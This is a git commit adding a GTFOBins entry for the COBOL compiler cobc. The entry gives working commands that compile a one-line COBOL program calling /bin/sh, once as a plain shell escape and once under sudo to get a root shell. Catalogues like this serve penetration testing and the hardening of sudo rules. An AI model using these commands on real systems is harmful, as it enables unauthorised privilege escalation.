Create cobc.md

master
bcoles 2020-03-14 16:38:18 +11:00 committed by Andrea Cardaci
parent d8a1e55782
commit b94b01477c
1 changed files with 13 additions and 0 deletions

13
_gtfobins/cobc.md Normal file
View File

@ -0,0 +1,13 @@
---
functions:
shell:
- code: |
TF=$(mktemp -d)
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
cobc -xFj --frelax-syntax-checks $TF/x
sudo:
- code: |
TF=$(mktemp -d)
echo 'CALL "SYSTEM" USING "/bin/sh".' > $TF/x
sudo cobc -xFj --frelax-syntax-checks $TF/x
---